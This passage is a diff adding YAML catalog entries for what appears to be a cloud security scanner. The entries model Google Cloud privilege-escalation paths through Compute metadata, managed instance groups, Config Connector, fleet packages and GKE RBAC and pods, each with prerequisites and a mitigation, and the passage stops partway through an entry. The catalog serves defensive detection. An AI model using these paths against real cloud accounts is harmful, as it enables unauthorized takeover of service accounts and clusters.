gcp-privilege-escalation/gcp-compute-privesc/README.md and gcp-add-custom-ssh-metadata.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Instance-metadata techniques need iam.serviceAccounts.actAs on the SA attached to the VM (HackTricks caution, even when +# the SA is already attached). The reachable SA token is limited by the VM's OAuth access scopes. + +- id: gcp-compute-instances-create-actas + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Create a VM running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancescreate--configuration-dependent-vm-permissions--iamserviceaccountsactas + source_revision: 171e422 + summary: The source may run startup code with an attachable service account on a newly created VM when its compute and resource permissions allow a usable configuration. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: compute.instances.create + resource: "*" + - action: compute.instances.setMetadata + resource: "*" + - action: compute.instances.setServiceAccount + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_vm_create_path: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable by new VMs in {project}" + conditions: + - id: usable_vm_configuration + description: An inventoried ready image and usable subnet with external IP permission provide one concrete startup-script VM configuration. Missing or alternative boot and network paths remain unresolved. + - id: token_exfil_path + description: Startup code still needs working outbound access to send or use the token; subnet permission does not itself prove actual connectivity. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant roles/iam.serviceAccountUser only on specific low-privilege SAs, never project-wide, and keep privileged SAs out of projects where users can create VMs. + references: + - https://cloud.google.com/compute/docs/access/service-accounts + notes: The source can choose cloud-platform OAuth scope, but effective access remains bounded by the SA's IAM grants and any network or organization controls. A missing local image or subnet leaves the direct-VM path unresolved because public images, Shared VPC, existing disks, and private egress can supply other configurations. + +- id: gcp-compute-instancetemplates-mig-actas + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Launch VMs running as a chosen service account through a managed instance group + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancetemplatescreate--computeinstancegroupmanagerscreate--run-as-sa-via-a-managed-instance-group + source_revision: 171e422 + summary: The source may launch a new managed instance group with startup code running as a chosen service account when it and the project's Google APIs Service Agent can use a viable template, image, and subnet. + requires: + all_of: + - action: compute.instanceTemplates.create + resource: "*" + - action: compute.instanceGroupManagers.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_mig_create_path: true + scope: any + aggregate_as: "Service accounts usable by MIG-launched VMs in {project}" + conditions: + - id: cross_project_sa + description: Cross-project SAs require additional attachment policy and service-agent checks; such paths remain unresolved. + - id: actas_at_instantiation + description: Compute validates that the project's Google APIs Service Agent, not the caller, can act as the target service account and use the resources in the template. + - id: supporting_permissions + description: A concrete new template with a startup script, ready image, new disk, and external-IP subnet needs matching caller and service-agent permissions. Alternative boot and private-egress paths remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict instanceTemplates/instanceGroupManagers create; remove roles/editor from the Google APIs Service Agent where possible and grant it Service Account User only on the SAs MIGs should run as. + references: + - https://docs.cloud.google.com/compute/docs/access/iam + notes: The Google APIs Service Agent ({project-number}@cloudservices.gserviceaccount.com) performs MIG VM creation. Its default role is roles/compute.instanceGroupManagerServiceAgent; its effective actAs and resource permissions are checked instead of assuming a default grant. The caller must be able to create the template and MIG. The modeled template includes startup metadata, a ready local image, a new disk, and a public-IP subnet so code can run and send or use the token; other configurations remain unresolved. + +- id: gcp-compute-instances-setserviceaccount-actas + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Swap the service account of an existing (stopped) VM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetserviceaccount-iamserviceaccountsactas--swap-an-existing-vms-service-account + source_revision: 6fb9ac51fd + summary: The source may use a replacement service account on an exact existing VM when it can stop and start that VM as needed and run code or log in after the swap. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_swap_vm_path: true + scope: any + aggregate_as: Service accounts assignable to existing VMs in {project} + conditions: + - id: existing_vm + description: An exact existing VM must grant the source setServiceAccount and start, and the source must have actAs on the replacement service account. + - id: vm_stopped + description: A running VM also needs compute.instances.stop; a stopped VM can be changed directly and then started. + - id: code_on_vm + description: The source needs get and setMetadata on the same VM to plant a startup script, or a supported OS Login and SSH path; other existing access remains unresolved. + - id: cross_project_sa + description: An account from another project needs cross-project attachment policy and service-agent checks, which remain unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict compute.instances.setServiceAccount (roles/compute.instanceAdmin) and grant actAs only on specific SAs. + notes: The VM must be stopped for the identity change and started to use its metadata token. The swap may set cloud-platform scope even if the old VM scope was narrow. A metadata startup script can run on this required start; an OS Login path is supported when it is enabled and direct SSH is reachable. Guest-agent operation and token use remain conditional. + +- id: gcp-compute-instances-setmetadata-existing-vm + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Modify an existing VM's metadata (SSH keys or startup script) to run as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetmetadata + source_revision: 6fb9ac51fd + summary: The source may reach the service account attached to an exact VM when it can change that VM's metadata and trigger a startup script or connect with a metadata SSH key. + requires: + all_of: + - action: compute.instances.setMetadata + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_metadata_vm_path: true + scope: any + aggregate_as: "SAs of VMs whose metadata the source can modify" + conditions: + - id: ssh_or_reboot + description: The SSH-key path needs a running VM, a supported public SSH route and OS Login enforcement absent. The startup-script path needs reset, stop and start, or start on the exact VM; an organic reboot remains unresolved. + - id: access_scopes + description: A definite attached-service-account path requires cloud-platform access scope; narrower or missing scopes remain unresolved. + - id: guest_agent + description: The guest environment must run its metadata SSH-key or startup-script agent. An inventoried VM does not itself prove guest-agent health. + - id: metadata_fingerprint + description: The source needs compute.instances.get to read the current metadata fingerprint for a safe metadata update; an externally known fingerprint remains an unresolved alternative. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Enforce OS Login, restrict instance-level metadata writes, and monitor startup-script and SSH-key metadata changes. + references: + - https://cloud.google.com/compute/docs/connect/add-ssh-keys + notes: The raw instances.setMetadata method requires only compute.instances.setMetadata, but obtaining the current metadata fingerprint normally needs compute.instances.get. compute.requireOsLogin blocks the SSH-key branch only; the startup-script branch remains. A source with metadata write can set enable-oslogin=FALSE when that constraint is not enforced. Guest-agent execution and outbound token use remain conditional. Also covers the metadata SSH-key path in gcp-add-custom-ssh-metadata.md; the Windows password helper has separate prerequisites. + +- id: gcp-compute-projects-setcommoninstancemetadata + provider: gcp + service: compute + title: Use project metadata on an attached service account VM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeprojectssetcommoninstancemetadata + source_revision: 171e422 + summary: Project metadata control can place a startup script or SSH key on an eligible VM carrying a service account. + requires: + all_of: + - action: compute.projects.setCommonInstanceMetadata + resource: "{target.project}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + gcp_project_metadata_vm_path: true + scope: same_project + aggregate_as: "SAs of VMs inheriting project metadata in {project}" + conditions: + - id: metadata_inheritance + description: A startup script needs an exact VM without overriding instance or zonal startup metadata; project SSH keys are ignored when the VM blocks them. + - id: execution_or_ssh + description: The source needs a controlled boot trigger or a running VM with a public SSH route that accepts project metadata keys. + - id: access_scopes + description: A definite attached-service-account path requires cloud-platform access scope; narrower or missing scopes remain unresolved. + - id: guest_agent + description: The VM guest environment must process startup scripts or metadata SSH keys; the inventory cannot prove agent health. + - id: metadata_fingerprint + description: The source needs compute.projects.get to read the current project metadata fingerprint for a safe update. + - id: project_actas + description: A definite project-wide update needs iam.serviceAccounts.actAs at project scope; a grant only on one attached account remains unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict project metadata writes, enforce OS Login for SSH access, and protect sensitive VM startup metadata. + references: + - https://cloud.google.com/compute/docs/reference/rest/v1/projects/setCommonInstanceMetadata + notes: Also covers the project-level SSH key variant of gcp-add-custom-ssh-metadata.md. The project-wide actAs requirement follows the HackTricks caution for metadata-based techniques; a target-account-only grant remains unresolved. compute.requireOsLogin blocks only the SSH-key route, not startup scripts. Zonal startup-script values can override project values, and instance startup scripts take precedence over project scripts. Guest-agent execution and token use remain conditional. + +- id: gcp-compute-instances-setiampolicy + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Self-grant OS administrator login on an instance + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetiampolicy + source_revision: 171e422 + summary: The source can add its own OS administrator login role to an exact VM IAM policy, gaining a permission it did not already have on that VM. + requires: + all_of: + - action: compute.instances.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.instances.osAdminLogin + aggregate_as: Instance OS administrator login the source can grant itself + conditions: + - id: exact_instance_policy + description: An exact VM and its IAM policy must be collected, and the source needs getIamPolicy to preserve existing bindings and conditions while adding a grantable instance role. A caller with the current policy from another source may still succeed. + - id: followup_technique + description: Logging in to the VM and using its attached service account require their own OS Login, SSH, actAs, and access-scope conditions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.instances.setIamPolicy on sensitive VMs to administrators. + references: + - https://docs.cloud.google.com/iam/docs/roles-permissions/compute + - https://docs.cloud.google.com/compute/docs/access/managing-access-to-resources + notes: roles/compute.osAdminLogin is grantable at the instance level. This edge represents the new instance permission, not the attached service account; OS Login or metadata access requires a separate path. Missing VM policy or effective policy constraints leave the self-grant unresolved. + +- id: gcp-compute-instances-osadminlogin + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Log in as root to an OS Login VM and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancesosadminlogin + source_revision: 6fb9ac51fd + summary: The source may use OS Login administrator access on an exact running VM to reach its attached service account when the VM accepts OS Login and SSH is reachable. + requires: + all_of: + - action: compute.instances.osLogin + resource: '{target.host_resource}' + - action: compute.instances.osAdminLogin + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + gcp_osadminlogin_vm_path: true + scope: any + aggregate_as: SAs of OS Login VMs the source can administer + conditions: + - id: oslogin_enabled + description: An exact running VM must attach the target SA, enable OS Login after instance and project metadata precedence, and have a supported SSH path. Missing route or firewall evidence stays unresolved. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + - id: twofa + description: OS Login 2FA, if enforced, requires the source's second factor. + - id: external_user + description: A user outside the VM's organization also needs organization-level compute.oslogin.updateExternalUser. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Grant roles/compute.osAdminLogin only on specific VMs and keep privileged SAs off interactive VMs. + notes: Both compute.instances.osLogin and compute.instances.osAdminLogin are checked on the same VM. Direct public SSH is checked from a public IP and applicable firewall evidence; IAP and other private routes remain unresolved. An attached SA from another project remains unresolved until its cross-project usage policy is assessed. CLI helpers may also require compute.instances.get and compute.projects.get. + +- id: gcp-compute-instances-oslogin + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Log in as an unprivileged user to an OS Login VM and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancesoslogin + source_revision: 171e422 + summary: The source may use standard OS Login on an exact running VM to reach its attached service account when the VM accepts OS Login and SSH is reachable. + requires: + all_of: + - action: compute.instances.osLogin + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + gcp_oslogin_vm_path: true + scope: any + aggregate_as: "SAs of OS Login VMs the source can log in to" + conditions: + - id: oslogin_enabled + description: An exact running VM must attach the target SA, enable OS Login after instance and project metadata precedence, and have a supported SSH path. Missing route or firewall evidence stays unresolved. + - id: metadata_server_reachable_unprivileged + description: HackTricks only states the login is without root; reaching the SA assumes the local metadata server is not firewalled from unprivileged users on that image. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + - id: twofa + description: OS Login 2FA, if enforced, requires the source's second factor. + - id: external_user + description: A user outside the VM's organization also needs organization-level compute.oslogin.updateExternalUser. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Grant roles/compute.osLogin only on specific VMs and keep privileged SAs off interactive VMs. + notes: Non-root login; SA token access from an unprivileged shell is an inference, hence conditional. Direct public SSH is checked from a public IP and applicable firewall evidence; IAP and other private routes remain unresolved. An attached SA from another project remains unresolved until its cross-project usage policy is assessed. + +- id: gcp-compute-instancegroupmanagers-update-template + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Repoint an existing managed instance group to a new instance template + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancegroupmanagersupdate--templatevm-permissions--hijack-an-existing-managed-instance-group + source_revision: 171e422 + summary: A source that can replace an existing managed instance group's template may run controlled startup code as a service account that the group's Google APIs Service Agent can attach. + requires: + all_of: + - action: compute.instanceGroupManagers.update + resource: "*" + - action: compute.instanceTemplates.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_mig_existing_template_path: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable by MIG-recreated VMs in {project}" + conditions: + - id: existing_mig + description: An exact inventoried MIG must use a readable template, be covered by the source's update permission, and have proactive rollout and a positive target size. + - id: supporting_permissions + description: The source must be able to create and use a replacement template, create instances and disks, set startup metadata, and use the observed image and subnet resources. + - id: service_agent_actas + description: The exact project's Google APIs Service Agent must have effective iam.serviceAccounts.actAs on the selected service account. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict compute.instanceGroupManagers.update and compute.instanceTemplates.create (roles/compute.instanceAdmin.v1) and narrow the Google APIs Service Agent's Service Account User grants. + references: + - https://docs.cloud.google.com/compute/docs/access/iam + - https://docs.cloud.google.com/compute/docs/reference/rest/v1/instanceGroupManagers/setInstanceTemplate + notes: This is a conditional prospective path through a replacement template and proactive rollout. The current template supplies a known working baseline; the new template may select another service account only when the same project's service agent has actAs on it. A completed VM rollout and usable token have not been observed. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml new file mode 100644 index 0000000000..15e2cbd330 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml @@ -0,0 +1,88 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Config Controller / Config Connector (KCC) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-config-controller-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: config_connector_identity -> the Google SA configured in the ConfigConnectorContext (or the +# cluster-mode ConfigConnector object) of the Config Controller / KCC cluster {target.host_resource}. +- id: gcp-configcontroller-kcc-resource-write + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: configcontroller + title: Change project IAM through Config Connector + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kubernetes-rbac-over-a-kcc-resource--act-as-the-configured-config-connector-identity + source_revision: 171e422 + summary: The source can gain project IAM control when it can create an IAMPolicyMember or update an existing IAMPolicy or IAMPartialPolicy in a watched namespace and the configured Config Connector identity can read and set that project's IAM policy. + requires: + any_of: + - - action: container.thirdPartyObjects.create + resource: '{target.host_resource}' + - - action: container.thirdPartyObjects.update + resource: '{target.host_resource}' + - - action: container.clusters.get + resource: '{target.host_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_kcc_project_policy_grant: true + scope: any + outcome: permission_grant + grants: + - resourcemanager.projects.setIamPolicy + aggregate_as: Project IAM grants available through Config Connector + conditions: + - id: admission + description: Policy Controller constraints or validating webhooks can reject the manifest; reconciliation is not proven by IAM permission alone. + - id: api_server_reachable + description: The principal still needs a usable route and authentication to the cluster API server. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict write access to KCC custom resources (in-cluster RBAC and container.thirdPartyObjects.*) and grant the Config Connector identity only the IAM permissions it needs (never roles/owner). + references: + - https://docs.cloud.google.com/config-connector/docs/how-to/install-manually + - https://docs.cloud.google.com/kubernetes-engine/docs/reference/api-permissions + notes: Create and update are bound to different collected resources. The caller can hold GKE IAM object permissions or exact namespace RBAC for create, update, or patch, and needs container.clusters.get for a derived authenticated route. This path grants project IAM control, not the Config Connector service account's full identity. Other KCC resources may create additional paths when their exact prerequisites are established. + +- id: gcp-configcontroller-kcc-service-account-key + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: configcontroller + title: Obtain a service account key through Config Connector + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account + source_revision: 171e422 + summary: The caller can create an IAMServiceAccountKey through GKE IAM or namespace RBAC and obtain a target service account credential by reading the generated key or providing a public key whose private half it holds. + requires: + any_of: + - - action: container.thirdPartyObjects.create + resource: '*' + - - action: container.clusters.get + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_kcc_generated_key_secret: true + scope: any + aggregate_as: Service accounts whose generated Config Connector keys the caller could read + conditions: + - id: generated_secret + description: Config Connector must reconcile a new key. The generated-key routes need Secret or key-resource read; the supplied-public-key route needs the matching private key. A conflicting name or admission policy may prevent reconciliation. + - id: api_server_reachable + description: The caller needs a usable authenticated route to the cluster API server. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: conditional + severity: critical + mitigation: Restrict KCC key-resource creation and Secret reads in watched namespaces, limit the controller's service-account-key permissions, and enforce both key-creation and key-upload organization policies. + references: + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iamserviceaccountkey + - https://docs.cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts.keys/upload + - https://docs.cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts + - https://docs.cloud.google.com/kubernetes-engine/docs/reference/api-permissions + notes: The actor needs key-resource create through GKE IAM or namespace RBAC and either a key-reading route on the same namespace or a supplied public key. GCP callers need container.clusters.get for a derived authenticated route. The controller's key permissions are checked on the exact target service account. Creation and upload have separate effective organization policies. Missing policy or cluster-access evidence remains unresolved. The private key is not read by the scanner. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/configdelivery.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/configdelivery.yaml new file mode 100644 index 0000000000..91d33cc3d2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/configdelivery.yaml @@ -0,0 +1,49 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Config Delivery (fleet packages) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-config-delivery-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-configdelivery-fleetpackage-publish + provider: gcp + service: configdelivery + title: Publish a resource-bundle release to fleet clusters through a fleet package + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#resourcebundlescreate--releasescreate--variantscreate--releasesupdate--fleetpackagescreate--publish-manifests-to-fleet-clusters + source_revision: 6fb9ac51fd + summary: The source may publish a manifest that grants cluster-admin on an exact fleet member when Config Sync is enabled and the package's new or existing RootSync has default cluster-admin authority. + requires: + all_of: + - action: configdelivery.resourceBundles.create + resource: "*" + - action: configdelivery.releases.create + resource: "*" + - action: configdelivery.releases.update + resource: "*" + - action: configdelivery.variants.create + resource: "*" + any_of: + - - action: configdelivery.fleetPackages.create + resource: "*" + - - action: configdelivery.fleetPackages.update + resource: "*" + target: + kind: k8s_cluster_admin + selector: + gcp_configdelivery_fleet_target: true + scope: cluster + aggregate_as: "Cluster admin through Config Delivery on selected fleet members" + conditions: + - id: fleet_selection + description: Only fleet members matched by the fleet package target selector are reached (an empty selector matches all members); Config Sync must be enabled on them. + - id: reconciler_rbac + description: A new package creates its own RootSync with default cluster-admin. An existing package uses its namesake RootSync, whose customized RBAC or admission policy may limit what is applied. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/configdelivery.configDeliveryAdmin and fleetPackages create/update; narrow Config Sync reconciler RBAC. + references: + - https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/concepts/architecture + - https://cloud.google.com/kubernetes-engine/enterprise/config-sync/docs/how-to/fleet-packages + notes: Fleet membership and Config Sync enablement must be joined to the exact cluster. Create and update permissions are checked separately on the fleet host project. A new package uses a new default RootSync; update needs an existing package and the matching RootSync, or an excluded member for which the retargeted package will create one. Admission and successful reconciliation remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml new file mode 100644 index 0000000000..25851d11b0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml @@ -0,0 +1,687 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP GKE (container.googleapis.com) and Fleet (gkehub) privilege escalation techniques, GCP-IAM side. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-container-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# GKE IAM container.* permissions are granted at project level and apply to every cluster in the project, in addition +# to in-cluster RBAC. k8s_cluster_admin targets follow the Azure AKS convention: resource "{target.scope}" = the cluster, +# selector any_principal_in_scope, scope cluster. In-cluster Kubernetes SA reach (pod tokens, secrets) is left to +# catalog/k8s. attached_to_service: gke_nodepool -> SA attached to the cluster's node pool VMs. + +- id: gcp-container-clusterroles-bind + provider: gcp + service: container + title: Bind a privileged ClusterRole to oneself through GKE IAM bind permission + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesbind--containerclusterrolesbind + source_revision: 6fb9ac51fd + summary: The source may bind itself to a confirmed cluster-admin ClusterRole on an exact running GKE cluster when it can create a ClusterRoleBinding, or update an existing binding that already references that role. + requires: + all_of: + - action: container.clusterRoles.bind + resource: '{target.scope}' + any_of: + - - action: container.clusterRoleBindings.create + resource: '{target.scope}' + - - action: container.clusterRoleBindings.update + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + gcp_gke_clusterrole_bind: true + scope: cluster + aggregate_as: Cluster admin of GKE cluster {target.scope} + conditions: + - id: api_server_reachable + description: Private clusters / master authorized networks require network reachability to the API server (or Connect Gateway access). + - id: credentials + description: Obtaining a kubeconfig normally uses container.clusters.get/getCredentials; endpoint and CA can also come from elsewhere. + - id: existing_cluster_role_and_binding + description: The cluster-admin ClusterRole must exist with wildcard resource rights. Updating a binding works only if an existing ClusterRoleBinding already references that ClusterRole, because roleRef cannot be changed. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Do not grant container.clusterRoles.bind/escalate (roles/container.admin) outside cluster administrators. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control + notes: 'The bind permission follows the referenced role kind. A missing joined Kubernetes RBAC inventory or uncertain principal authentication remains unresolved instead of claiming cluster-admin.' + +- id: gcp-container-clusterroles-escalate + provider: gcp + service: container + title: Widen a ClusterRole bound to the source through GKE IAM escalate permission + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesescalate--containerclusterrolesescalate + source_revision: 6fb9ac51fd + summary: The source may gain cluster-admin rights by widening an existing ClusterRole already bound to it cluster-wide, or by creating a missing ClusterRole referenced by an existing binding to it. + requires: + all_of: + - action: container.clusterRoles.escalate + resource: '{target.scope}' + any_of: + - - action: container.clusterRoles.update + resource: '{target.scope}' + - - action: container.clusterRoles.create + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + gcp_gke_clusterrole_escalate: true + scope: cluster + aggregate_as: Cluster admin of GKE cluster {target.scope} + conditions: + - id: bound_role_exists + description: With update, an existing non-aggregated ClusterRole must be bound cluster-wide to the source. With create, an existing ClusterRoleBinding must reference a missing ClusterRole name and already reach the source. An unrelated binding grants nothing. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Do not grant container.clusterRoles.escalate outside cluster administrators. + notes: 'An aggregated ClusterRole has controller-owned rules, so a direct rules update is unresolved. Missing joined RBAC or Google-principal authentication stays unresolved; namespaced bindings remain in the namespaced RBAC technique.' + +- id: gcp-container-pod-template-node-sa + provider: gcp + service: container + title: Create or update a workload whose pod reads the node pool service account from the metadata server + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the node pool service accounts of GKE clusters in projects where it can create pods or pod-template workloads. + requires: + any_of: + - - action: container.pods.create + resource: '*' + - - action: container.deployments.create + resource: '*' + - - action: container.daemonSets.create + resource: '*' + - - action: container.jobs.create + resource: '*' + - - action: container.cronJobs.create + resource: '*' + - - action: container.statefulSets.create + resource: '*' + - - action: container.replicaSets.create + resource: '*' + - - action: container.replicationControllers.create + resource: '*' + - - action: container.deployments.update + resource: '*' + - - action: container.daemonSets.update + resource: '*' + - - action: container.statefulSets.update + resource: '*' + - - action: container.cronJobs.update + resource: '*' + - - action: container.replicaSets.update + resource: '*' + - - action: container.replicationControllers.update + resource: '*' + - - action: container.pods.update + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + gcp_gke_pod_template_node_sa: true + scope: any + aggregate_as: GKE node pool SAs of {project} + conditions: + - id: metadata_reachable + description: Pods reach the node SA only when the node pool does not use GKE metadata server / Workload Identity (GKE_METADATA) or metadata concealment, and network policy does not block the metadata + address. + - id: access_scopes + description: The usable token is limited by the node pool's OAuth access scopes. + - id: admission + description: Admission policies (Pod Security, Policy Controller, Binary Authorization) may reject the workload. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Enable Workload Identity Federation for GKE on all node pools, use least-privilege node SAs and restrict container.*.create. + notes: Kubernetes service account reach through the pod template (including KSAs bound to Google SAs through Workload Identity) is modelled by gcp-container-pod-template-ksa. The node SA route requires a compatible node pool in the exact cluster. Controller update needs an existing mutable template; pods.update needs an existing running Pod on that pool and cannot change its host network setting. Job update cannot change the template. Cross-project node SAs can be reached when they are attached to the matching node pool. + +- id: gcp-container-pods-exec-node-sa + provider: gcp + service: container + title: Exec into a pod and read the node pool service account from the metadata server + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsexec + source_revision: 171e422 + summary: The source can run a command in an existing container on a GKE Standard node whose metadata exposes that node pool's service account. + requires: + all_of: + - action: container.pods.exec + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + gcp_gke_pod_exec_node_sa: true + scope: any + aggregate_as: "GKE node pool SAs of {project}" + conditions: + - id: metadata_reachable + description: GCE_METADATA and SECURE expose the node service account; GKE_METADATA needs a host-network Pod that reaches node metadata. + - id: running_pod + description: Needs a named running Pod and container on a labeled node in that pool, with a command available in the image to request the metadata token. + - id: access_scopes + description: The usable token is limited by the node pool's access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Enable Workload Identity Federation for GKE and restrict container.pods.exec. + notes: Exec also yields mounted KSA tokens and, with Workload Identity, the pod's bound GSA; those are not modelled here. The exact cluster and node pool are checked even if the node service account belongs to another project. Distroless containers may not contain an executable that can request metadata, so execution remains conditional. + +- id: gcp-container-nodes-proxy-node-sa + provider: gcp + service: container + title: Run commands in containers through the kubelet node proxy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containernodesproxy + source_revision: 171e422 + summary: The source may obtain a GKE node's service account token by using the node proxy to execute in a running Pod on that node when the Pod can reach Compute Engine metadata. + requires: + all_of: + - action: container.nodes.proxy + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_gke_node_proxy_sa: true + scope: any + aggregate_as: "GKE node pool service accounts reachable through kubelet" + conditions: + - id: kubelet_run_endpoint + description: The kubelet must serve a command-execution endpoint for the named running Pod, and the client must speak its streaming protocol. + - id: metadata_reachable + description: Ordinary Pods need GCE_METADATA; on GKE_METADATA pools, an existing hostNetwork Pod can reach Compute Engine metadata. + blockers: + 